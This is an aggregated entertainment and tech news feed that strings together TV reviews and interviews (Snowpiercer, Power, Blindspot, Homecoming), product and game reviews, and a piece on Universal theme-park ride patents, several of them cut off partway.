But whereas the film purposely paced out its reveals of the perks availed the front cars (as Evans’ rebellion leader broached carriage upon carriage), the TV series’ premise allows for a more immediate exposure to the third-, second- and first-class sections. Daveed Diggs (Hamilton) stars as Andre Layton, a “tailie” whose pre-“freeze” line of work was as a police detective. As such, when a murder threatens to upend the carefully regulated class structure, Layton is enlisted by Hospitality chief Melanie Cavill (A Beautiful Mind’s Jennifer Connelly) to  begrudgingly travel up-train to solve the case. In the course of this outsider’s closely monitored investigation, he and we are introduced to the assorted cultures and denizens within each section of the train, including an eclectic community known as The Chains, the (remarkably cavernous) Night Car and the aquarium-like Ocean Car. All the while, Mr. Wilford — the visionary, reclusive creator of the train whose name is uttered with reverence — communicates his decisions and edicts via Melanie.

Till keeps a close eye on Layton’s detective work

Other members of the primary cast include — but by no means are limited to! — Alison Wright (The Americans) as Ruth, Melanie’s right-hand woman; Mickey Sumner (Low Winter Sun) as Till, a Brakeman who serves as Layton’s partner; Katie McGuinness (Hollywood) as Josie, an intrepid tailie; Annalise Basso as first-class brat LJ; Sheila Vand (24: Legacy) as Zarah, an old flame of Layton’s/close friend of a murder suspect; Mike O’Malley as Brakeman Roche; and Steven Ogg (Walking Dead) as a tailie whose approach to revolution threatens to be a bit more reckless than Andre’s.

Snowpiercer lumbers out of the gate, and you have to wonder if that is a result of its prolonged, oft-rerouted trip to the screen. Some two years after the film came out and with Bong Joon-ho on board as an EP, the TV series first went into development with Josh Friedman (Terminator: The Sarah Connor Chronicles) as writer. In January 2018, a pilot was ordered to series… though Friedman was replaced as showrunner just weeks later. Scott Derrickson, who directed (and sang the praises of) the original pilot, declined to return for reshoots, citing creative differences with new showrunner Graeme Manson (Orphan Black). (At last year’s Comic-Con, it was revealed that barely any of the original pilot lived on.) In May 2019, the series was curiously bounced from TNT to sister channel TBS… only to be moved back to the drama hub in September.

While Episode 1 overexerts itself juggling multiple storylines (there’s a B-story involving a young tailie that simply vanishes for long stretches), the episodes that follow are more tightly wound as the murder case, which dominates half of the 10-episode season, takes frightful turns. For purists, there are callbacks to several of the film’s more vivid elements, such as the grimy protein bars parsed out to the tailies and the chilling punishment exacted upon those who misbehave. Among the ensemble, Diggs is well-cast as a tailie who ruffles upper-crust feathers; in Episode 4, he has an entertaining sequence that evokes 48 Hours‘ Reggie Hammond raising hell at that honky-tonk. Playing someone more human than Tilda Swinton did in the film, Connelly nicely juggles Melanie’s icy, passengers-facing facade with the MIT and Yale grad’s warmer private life.

Visually, TV’s Snowpiercer is not as claustrophobic as the big-screen version; the individual sets all seem to be as narrow or spacious as they need to be, though always within a certain amount of reason (especially if you are able to buy into the notion of a 1,001-car train). And if the movie ever left you wanting to dive deeper into the various train sections, or learn more about the how of sustaining a society aboard a perpetually moving vehicle, the series (which is already renewed for Season 2) promises to answer such questions.

THE TVLINE BOTTOM LINE: Spread over at least two seasons, TNT’s Snowpiercer will be a longer, less-rollicking ride than the 2013 film. But its version of a subzero dystopia promises to more richly realized.

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Power’s La La Anthony Dishes About LaKeisha’s ‘Dangerous’ Desire to Prove She’s Tommy’s ‘Ride or Die’ https://briefnews.eu/powers-la-la-anthony-dishes-about-lakeishas-dangerous-desire-to-prove-shes-tommys-ride-or-die/ https://briefnews.eu/powers-la-la-anthony-dishes-about-lakeishas-dangerous-desire-to-prove-shes-tommys-ride-or-die/#respond Sun, 08 Sep 2019 10:15:15 +0000 http://briefnews.eu/powers-la-la-anthony-dishes-about-lakeishas-dangerous-desire-to-prove-shes-tommys-ride-or-die/

Power‘s LaKeisha may not be making the best choices this season — see also: ditching a murder weapon in the Hudson River — but, La La Anthony asks, who hasn’t done really stupid things for love?

“All she wants to do is prove to Tommy that she’s ride-or-die, and she’s in it until the end,” Anthony tells TVLine, “but I don’t think she really understands what that means until she’s so far in that you’ve just got to stay at that point.”

This Sunday’s episode (Starz, 8/7c) will find Cash’s mom continuing her education in the drug business, courtesy of boyfriend Tommy. And though Keisha might have an inkling of what Tommy does to keep her in designer purses and such, “she’s naive about it,” Anthony says. “She knows it’s a drug game, but she doesn’t know the ins and outs or the murders and different things that happen.” She refers to the scene in a previous season where Tasha asked her man if he’d ever killed anyone, and was relieved to hear him say no. (As we all know, Tommy was lying. A lot.)

“You see a lot of doubt,” Anthony adds, previewing episodes to come. “But then she pushes through it, because she ultimately just wants this happy family.”

Series boss Courtney Kemp observes that there’s a sharp, telling distinction between LaKeisha and her former bestie, Tasha — though a lot of people miss it.

“The characterization of Tasha as ride-or-die I always find really interesting, because she never was,” the EP says. When Ghost said he didn’t want to be a drug dealer anymore, for instance, “She’s like, ‘Shut up, move weight,’” Kemp says. “Everyone’s like, ‘Tasha’s his ride-or-die.’ I’m like, ‘No. To ride is like, ‘I don’t want to do this anymore’ and you’re like, ‘Cool, I got you.’ She was like, ‘Stay with the program. This is the program.’ LaKeisha is much more like, ‘OK, if this is the program, this is what I’m going to do… If I can help you, I’m staying.’”

But that degree of loyalty may have its price: Anthony hints that later on this season, Tasha will “a hundred percent” have to cross barriers that she’s set up for herself. “And then it’s interesting to see: How far will she go before she either goes too far or decides, ‘I can’t do this anymore?’”

Or, as Kemp succinctly warns: “The riding and the dying could both take place. Or not.”

Do you have thoughts about Tasha’s increasing awareness of Tommy’s organization? Hit the comments and let us know!

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Blindspot Boss Breaks Down That Explosive Finale Cliffhanger, Teases ‘Crazy Ride’ Ahead in Final Season https://briefnews.eu/blindspot-boss-breaks-down-that-explosive-finale-cliffhanger-teases-crazy-ride-ahead-in-final-season/ https://briefnews.eu/blindspot-boss-breaks-down-that-explosive-finale-cliffhanger-teases-crazy-ride-ahead-in-final-season/#respond Sat, 01 Jun 2019 02:16:55 +0000 http://briefnews.eu/blindspot-boss-breaks-down-that-explosive-finale-cliffhanger-teases-crazy-ride-ahead-in-final-season/

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The following post contains major spoilers for Blindspot‘s Season 4 finale.

It’s going to be a long and brutal hiatus for Blindspot fans.

The NBC drama’s fourth season concluded on Friday with a two-hour finale, which left the lives of Weller, Reade, Zapata and Patterson hanging in the balance. And though the show has been renewed for a truncated final season, it won’t be back on NBC’s schedule until midseason. In other words? At least seven months remain until we find out which FBI agents — if any — survived.

“It would be safe to assume that not everyone makes it out of that safe house alive,” series creator Martin Gero cryptically tells us. (Gero previously hinted, ahead of Blindspot‘s renewal, that Friday’s finale would be a “very bad” series ender if the show ultimately got cancelled. And now we totally understand why.)

A quick recap: In the final two episodes, the FBI discovered that Madeline Burke’s “Project Helios” involved hacking into the country’s power grid and plunging the entire Eastern seaboard into darkness (and chaos). Not only did Madeline’s henchman, Dominic, successfully pull off the scheme (though he got shot and bled out in the process), but Madeline successfully framed Jane, Weller and the entire FBI team, spinning a convincing story to make it seem as though the agents were responsible for Project Helios.

The FBI team (minus Rich Dotcom, who stayed behind at headquarters) discovered they’d been framed while en route to Iceland, where they planned to find hacker Kathy Gustafson, who was helping carry out Project Helios. But after realizing they’d immediately be arrested upon landing in Iceland, they decided to jump out of the plane instead (!) in order to buy some time. Once the agents had parachuted down to safety, a friend of Rich Dotcom’s helped them evade the authorities, bringing them to a remote cabin where they could lay low until they resumed their fugitive lifestyles under new identities.

Unfortunately, Madeline (who was released from prison and given an actual job with the FBI) was able to locate the team’s hideout… and she ordered a drone strike on the cabin, much to Matthew Weitz’s horror. In the finale’s closing scene, Jane — who was standing several yards away from the cabin, having volunteered to take first watch that night — looked on in horror as a missile hit the cabin, immediately destroying the entire structure (and potentially the four agents still inside of it).

After screening Blindspot‘s finale, TVLine spoke with Gero for more insight on that explosive cliffhanger, and how it will shape the drama’s fifth and final season.

Blindspot Season 4 FinaleTVLINE | In most of your previous finales, you’ve tied up the season-long arcs pretty nicely, and the Big Bads — Shepherd, Roman and others — have all been defeated. Why did you decide to subvert that this time and let Madeline get the win?
There’s a couple reasons. One, we want to be unexpected. We want our audience not to be ahead of us all the time. And you’re absolutely right: For the most part, the season finales — because we’re novelistic in our approach and every season has a beginning, middle and end — typically have the bad guys get their comeuppance. When we started talking about Season 4 — or, more importantly, what we wanted to do with Season 5 — we just decided, “Man, it’d be so awesome to spend the whole season laying the groundwork for Madeline to just win.” We really have the team take a loss, which you don’t often see in procedural television. It was super exciting for us, because it leads to a very propulsive Season 5, unlike any [season] we’ve ever done. It’s basically the team against the world, trying to still take down Madeline but also trying to clear their name. And this isn’t going to be something like, “They’ll be back on the FBI set by Episode 2!” The whole final season is about getting back home.

TVLINE | The last time we spoke, I had asked you if the Season 4 finale could possibly serve as a series finale, and you said definitely not — and now that completely makes sense. Were there ever any discussions, when you were breaking this episode, of not doing such a drastic cliffhanger, just in case you weren’t picked up?
This was always the plan. We have an incredible partnership with NBC. They’ve been such amazing champions of this show for five seasons now, and they really felt [that we should] do a Season 4 that demands a Season 5. And that’s what we did. There was no backup plan. We felt relatively confident, as we were making that episode, that there would be a Season 5. If NBC had sent up a flare, like, “Hey, guys, it’s not looking good,” then we might have altered it. But no, that was always the plan, and no alternate ending was considered.

TVLINE | The only character we can confidently talk about right now is Jane.
[Laughs] Sure.

TVLINE | Where does she go from here? How will she cope after what she’s seen in this finale?
The easiest way to talk about it is: Should members of the team survive, they’re bonded together now, closer than they’ve ever been — the ones that survive, if they survive. The idea of revenge and justice is heavy in their minds. And it’s interesting for Jane because the rest of the team — sure, they’ve bent the rules sometimes, but they feel like they’re living a just and moral existence, whereas Jane’s big arc of the season was her reckoning with the fact that she has done terrible things in a past life, so to speak. Remi is not a separate person, Remi is a part of her. What’s interesting now is to watch Jane call on some of those experiences she had as a terrorist, to call on some of those experiences she had when she worked in kidnap and ransom, in order to operate outside the law for a greater good.

TVLINE | Before the cabin was blown up, the team had resolved a lot of the issues they’d been arguing about on their flight to Iceland. Assuming any of the team survives, will any of that tension linger in Season 5?
Certainly there’s going to be tension, just because of the fact that they’re isolated together. They don’t have anyone else to go to, they don’t have friends or family. It’s not that they have cabin fever, because that cabin blew up, but there certainly will be stuff that needs to get resolved because of the close quarters they’re working in. But also, on our show, people really love the team, and the reality is, for storytelling purposes, we’ve always needed to keep some of them at odds with each other for inner conflict and all that. But now, for the ones that can make it out, there’s going to be a great unity and a great common purpose of, “We’ve got to fix this together. We have to trust each other.” It’ll be some of the purest team stuff that the show’s ever done.

TVLINE | How does Matthew Weitz play into all of this? It seems in the finale that he’s really on the team’s side now, but he’s also been untrustworthy at different points of the season.
What Matthew Weitz looks out for is himself more than anything. [Laughs] As long as his interests align with the team’s, then he’s on their side. What I love about that character is we spent the first half of the season making you go, “I love this guy! This guy’s OK!” And then the second it was inconvenient for him, he immediately starts to blackmail Weller and threatened to put Jane in a black site. He has that in him still, and that’s why that character is so fun. He doesn’t have a lot of subtext. [Laughs] He says what he means. He’s not trying to hide anything, he’s very overt with what he wants and what he’s willing to do for it. But now that his power has been greatly neutered by Madeline, he’s going to want to take her down, too.

TVLINE | The skydiving sequence in this finale was completely insane, and you had mentioned in a previous conversation that it was quite the undertaking to film. What was that process like? Were there any mishaps during production?
When we decided to start doing these international shoots, the idea was we would go somewhere and we wouldn’t take any lights, [we’d do] very few stunts, and we’d just shoot someone walking outside in Paris or whatever. And then as we got into it and started doing Venice with that boat chase, or the huge rooftop fight in Japan, we started to push the envelope and ask, “What is possible on our budget and timeline if we plan far ahead?” So this sequence was planned for six months.

The skydiving team was captained by some of the people from Mission: Impossible, we flew them in from the U.K. And it was tremendously dangerous — maybe the most dangerous thing we’ve done on the show. We’d done skydiving before, but it was under pristine conditions, and they were just falling down on a flat piece of ground with not a lot of wind. This time, they were landing, like, 300 feet away from a glacier. The wind was exceptionally high, the terrain was rugged. That shot of Patterson falling and getting dragged? That actually happened. We didn’t plan that. The parachutes they were using are twice the size because they can hang in the air a lot longer, which is great for us, because it’s hard to shoot them if they fall too fast. But it means that when you get to the ground, they’re very unwieldy in the wind. We got really, really lucky. That team was extraordinary, and that whole sequence was done over two jumps on two different days that we were able to tie together. But it’s all real. There’s no CG in that sequence. [Laughs] It’s incredible.

TVLINE | When the show was renewed for a final season, you wrote that this had been your initial plan for the show, that it would run for five years. Have these first four seasons been in line with your original vision?
When I sat down and wrote that mini-Bible for myself [before pitching the show], the level of detail dissipated with each season. [Laughs] I knew Season 5 was going to be [the team] on the run, and it would have an ending that I can’t really talk about right now, but the ending of the show is something we’ve been playing around with for a while. But what’s amazing about working on a TV show is it’s no one’s idea, you know? It’s everyone’s idea. There’s 450 people that work on this show on a daily basis… Everyone puts themselves in the show, so the show grows and mutates from your original ideas, and we’ve been evolving those ideas for what we wanted the seasons to be. But if it came down to the sentence that I wrote for each season [originally], it’s come pretty close. The details grew around the incredible people that we have on the show.

TVLINE | And looking ahead to Season 5, is there anything you’re particularly looking forward to? Any stories you haven’t gotten to tell yet that you’re hoping to do?
You know, it’s so rare for a show like this to know it’s going to end. It’s such an incredible privilege to do these amazing episodes and really honor the show in a great way — to give people all of those fan moments and proper goodbyes, not only to our main characters, but also the dozen or so supporting characters that people love when they drop in. [Season 5] is a little more compact, so the storytelling is even more dynamic, and we know where we’re going. We know we’re going toward a very specific end now. This isn’t something where we have to set up Season 6 or Season 7. We can be a little more reckless than we’ve been, in a good way, as far as the outcome of some of these stories. Fans of the show are in for a pretty crazy ride.

Your turn, Blindspot fans! What did you think of Friday’s Season 4 finale? Grade it in our poll below, then drop a comment with your reactions.

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Onewheel Pint is a more affordable, easier to ride electric board https://briefnews.eu/onewheel-pint-is-a-more-affordable-easier-to-ride-electric-board/ https://briefnews.eu/onewheel-pint-is-a-more-affordable-easier-to-ride-electric-board/#respond Tue, 12 Mar 2019 20:43:51 +0000 http://briefnews.eu/onewheel-pint-is-a-more-affordable-easier-to-ride-electric-board/

Future Motion’s Onewheel electric boards have added power and range over the years, but accessibility? Not so much. They’ve still been expensive and intimidating, not to mention clunky to carry around. That’s where the just-unveiled Onewheel Pint might help. It’s not only more affordable (relatively speaking) at $ 950, it’s gentler on newcomers who’d otherwise worry about crashing out.

Most notably, a Simplestop dismount feature streamlines the riding experience so that you won’t fly off while you’re still learning the ropes. It’s smaller (27 inches long) and lighter than past models, helping both its agility and portability. Future Motion drives that last point home by including a fold-out magnetic handle on the side — you’re clearly meant to carry this around for those moments you need

The catch? Not surprisingly, the Pint isn’t a long-range cruiser. You’re looking at 6 to 8 miles of range and a 16MPH top speed. The company pitches this as a board for coffee shop trips and the last leg of a commute, rather than something you’d ride all the way to work and back. While that seems appropriate, it does put the Pint at a disadvantage to the Boosted Mini X, which costs slightly more but roughly doubles the range.

You won’t have to wait too long to get the new Onewheel, at least. Future Motion has started pre-orders ahead of a May release, and those who buy in the first 48 hours (no later than March 13th) can snag bonus fenders, custom etched rails and other perks at no extra cost. The Pint still isn’t a trivial purchase by any stretch. It might, however, be the model that helps the Onewheel line expand beyond a niche audience.

Source: Onewheel, Business Wire

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Review: GMC Terrain gives you the ride you want—at a price https://briefnews.eu/review-gmc-terrain-gives-you-the-ride-you-want-at-a-price/ https://briefnews.eu/review-gmc-terrain-gives-you-the-ride-you-want-at-a-price/#respond Sun, 23 Dec 2018 16:19:58 +0000 http://briefnews.eu/review-gmc-terrain-gives-you-the-ride-you-want-at-a-price/

Eric Bangeman

One thing I hate in a car is incongruous design. If something looks like it doesn’t belong in the car or is out of step with the car’s design aesthetic, it bugs the OCD part of me. Although there was plenty to dislike about the Ford EcoSport in general, its glossy-cased touchscreen display stuck out from its black matte surroundings like a sore thumb, really grating on me.

The GMC Terrain, on the other hand, is consistent. Everything from the all-black exterior (including black wheels and black trim) to the well-thought-out interior works cohesively as a whole. For a mainstream compact SUV, this is a good thing.

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Sunset Overdrive review: Ride the rails to kaboom-town (finally on PCs, too) https://briefnews.eu/sunset-overdrive-review-ride-the-rails-to-kaboom-town-finally-on-pcs-too/ https://briefnews.eu/sunset-overdrive-review-ride-the-rails-to-kaboom-town-finally-on-pcs-too/#respond Sun, 18 Nov 2018 03:58:47 +0000 http://briefnews.eu/sunset-overdrive-review-ride-the-rails-to-kaboom-town-finally-on-pcs-too/
Throw traps, shoot guns, grind rails: that's the <em>Sunset Overdrive</em> way.

Throw traps, shoot guns, grind rails: that’s the Sunset Overdrive way.

Update: There’s no shortage of new games this 2018 holiday season, but we wanted to bring a surprise gem to your attention: 2014’s Sunset Overdrive, a high-octane, parkour-driven visual stunner. With seemingly zero fanfare, a $ 20 PC version arrived yesterday for Windows PCs (Steam, Windows Store). Nearly everything about the original games still applies to this PC version, so enjoy our original review (which first ran on October 29, 2014) below. The piece appears largely unchanged, but we have added some PC-specific thoughts (finally, Sunset in 60fps!) and a gallery from the new edition near the end.

Keep moving, keep moving, keep moving. If I stay still, the monsters attack. If I stop sliding down rails, bouncing off of car hoods, or rappelling over zip lines, everything falls apart—the music in my head stops playing; the electricity stops surging through my dodge-rolls; the fire stops spewing from my duct-taped battle-axe.

Welcome to Sunset City, a sunny, dilapidated corpse of a not-so-futuristic riverside metropolis. The place used to be overrun by selfie-snapping hipsters until they chugged a brand-new energy drink that turned them into crazed mutants (we mean literally, as opposed to the figurative craze of a caffeine high). Somehow, “you” (by way of a relatively robust character creator, which happens to sport the dumbest hairstyles known to man) avoided taking a sip, and now you must survive and escape the madness alongside the few remaining human survivors.

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Amazon’s Homecoming—corporate clinics and creepy filmmaking make a fun thrill ride https://briefnews.eu/amazons-homecoming-corporate-clinics-and-creepy-filmmaking-make-a-fun-thrill-ride/ https://briefnews.eu/amazons-homecoming-corporate-clinics-and-creepy-filmmaking-make-a-fun-thrill-ride/#respond Mon, 05 Nov 2018 13:00:50 +0000 http://briefnews.eu/amazons-homecoming-corporate-clinics-and-creepy-filmmaking-make-a-fun-thrill-ride/

The second trailer for Amazon’s Homecoming. Its 10-episode first season debuted this weekend.

Homecoming, Amazon Prime’s new political techno-mystery series starring Julia Roberts, has a tough task: how do you translate an effective podcast into effective television? The story here started off as a successful fiction series from Gimlet Media, a podcasting entity started by This American Life alum Alex Blumberg. But even with a hit blueprint to work from, a lot of creative people currently struggle with this transition conundrum—Gimlet included. Its podcast StartUp became ABC’s recently canceled, Zach Braff-led Alex, Inc., and The New York Times reported another Gimlet show (Crimetown) has partnered with FX for a potential adaptation.

With its basic story already available in audio form, the bottom line is Homecoming has to offer something more. Luckily, having Mr. Robot creator Sam Esmail and his Anonymous Content team on board this go-round means the production itself—the score, the cinematography, the set design, even the decision to keep scripts at a half hour—can often hold viewer interest on its own. Add that to a fast-paced story and some hard-to-look-away-from performances, and Gimlet likely doesn’t need to worry about its second TV endeavor ending in the same manner as its first.

Sights to see

Played on mute, Homecoming might appear mundane at first. The show is slow to reveal much plot, and initially everything seems innocuous. Soldiers come back from deployment and spend a few weeks at a facility that helps them reintegrate through therapy and sessions focused on life skills like job interviewing. But cues from composer Komeil S. Hosseini and needle-drops (i.e., the use of just a small portion of a song) from music supervisor Maggie Phillips indicate something a bit more nefarious may be in play. On the surface, phone calls or ho-hum office tasks take place on screen, but subterranean orchestral hits conjure up classic horror movies. Electro-passages that’d be at home on Mr. Robot also hint that some techno-thriller turns may be ahead.

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Insane New Ride System Patents Give us a Possible Look at Universal Studios’ Future ‘Jurassic World,’ ‘Legend of Zelda’ and Harry Potter Rides https://briefnews.eu/insane-new-ride-system-patents-give-us-a-possible-look-at-universal-studios-future-jurassic-world-legend-of-zelda-and-harry-potter-rides/ https://briefnews.eu/insane-new-ride-system-patents-give-us-a-possible-look-at-universal-studios-future-jurassic-world-legend-of-zelda-and-harry-potter-rides/#respond Thu, 01 Nov 2018 21:14:52 +0000 http://briefnews.eu/insane-new-ride-system-patents-give-us-a-possible-look-at-universal-studios-future-jurassic-world-legend-of-zelda-and-harry-potter-rides/ Jurassic World Ride patents

The only thing we know for sure about the fourth theme park coming to the Universal Orlando Resort is that it’s in the works. Everything else is hidden behind lock and key. Rumors and whispers float around the internet, but nothing official has been announced. Not even a name.

Now, a series of new ride patents filed by Universal suggest what could be in store for visitors. These designs are purely technical and don’t come with labels suggesting what they could represent. But with a little bit of imagination, we can make some educated guesses about many of them.

Except for the one that is clearly supposed to be a Jurassic World ride. It’s a no-brainer.

As is the case with theme park patents, just because Universal filed them doesn’t mean these rides are going to be built. Universal and Disney frequently file patents for ride systems just to lock them down for theoretical future use. With that said, let’s assume that Universal has whipped up these designs because they have an entirely new theme park to fill with new attractions and have every intention of using them.

These designs come our way via WDW Info, and if you want to see more images and scan through the proper technical jargon, I’d recommend hitting that link.


A Jurassic World Gyrosphere Ride?

Let’s start with the obvious. Franchise producer Frank Marshall has mentioned in the past that Universal has wanted to make a ride based on the gyrosphere vehicles seen in Jurassic World and Jurassic World: Fallen Kingdom. And here you go: a ride design that looks to place the rider within a spherical vehicle with a striking resemblance to what’s seen on the screen. The technical jargon describes a ride that would provide all the physical thrills of being bounced around in a giant glass ball by angry dinosaurs:

Movement of the passenger support system, and thus, the passenger, within the annular structure, causes the sensation of airflow around the passenger’s body (e.g., arms and legs) and may allow the passenger a heightened amusement ride experience. Additionally, relatively minor movement of the passenger support system may create additional forces on the rider’s body due, in part, to the distribution of gravitational forces. The combination of physical effects such as airflow and g-forces, along with visual effects such as a visual effect device, screen, or facade may provide the passenger with an immersive amusement ride experience.

The big question now is where this ride will go? There is already a Jurassic Park land at the Islands of Adventure theme park, and there has been buzz about a significant new attraction being built there in the coming years, more likely a rollercoaster. However, there have also been rumors about a separate Jurassic World land opening at the unnamed fourth park down the road, so this could also theoretically go there. One thing is for sure: Universal wants to make the gyrosphere experience a reality in one way or another.


A Zelda Horse-Riding Attraction?

The second patent isn’t quite as specific, and it’s built to simulate the experience of riding a motorcycle or a horse. Here’s more:

By positioning the rider in a facedown position or on a vehicle that, at least in some orientations, permits a downward gaze, the rider may experience a sensation and feeling of horseback riding, motorcycling, or the like. Additionally, the disclosed rider support assembly may allow the rider to experience sudden moments of positive and negative gravitational forces (e.g., g-forces) that enhance the sensation of riding or motorcycling, and provide a more pleasurable riding experience.

So, what ride could we be looking at here? With Universal bringing Super Nintendo World to its parks in the next few years, I can’t help but wonder if this will be themed to The Legend of Zelda, the iconic video game franchise about exploring a dangerous fantasy world, often on the back of your trusty steed. It’s still not clear where Super Nintendo World will open in Universal Orlando (if maybe that fourth unnamed park), but there have been additional rumors that Zelda will be spun off into its own land entirely, away from the Mario-centric core world (which will host a ride based around Mario Kart).


A Flying Ride For The Wizarding World?

The next patent is even less specific and involves a little bit of spitballing on my part. As you can see in the designs, the ride vehicle will hoist the rider into the air and place them parallel to the ground, simulating flying over a screen or through actual environments. So, what is a major franchise that involves flight and is already popular in Universal’s theme parks? My educated guess is that this could be a new Harry Potter ride, possibly one being built for that mysterious fourth park. Visits can already stop by Hogsmeade in Islands of Adventure and Diagon Alley in Universal Studios Florida, so rumors point to the new park getting the Ministry of Magic. And what better way to explore that massive space than in the air, flying through its giant lobbies, corridors, and dangerous inner chambers?

A Moving Show Ride, But For What We Have No Idea

And finally, I have nothing to say about this patent beyond “Hey, that looks cool and could probably support a number of different themes.” Theme park fans are no stranger to 4D shows, where seats rock in front of 3D screens and various effects (water, heat, etc.) add to the immersion. This design asks “What if the theater itself moved instead of just the seats?” The audience would be seated inside a giant sphere, which would move around them to increase the sense of motion.

With Disney’s Star Wars: Galaxy’s Edge opening next year, expect a bunch of Universal announcements to arrive in the near future as they attempt to steal their thunder.

The post Insane New Ride System Patents Give us a Possible Look at Universal Studios’ Future ‘Jurassic World,’ ‘Legend of Zelda’ and Harry Potter Rides appeared first on /Film.

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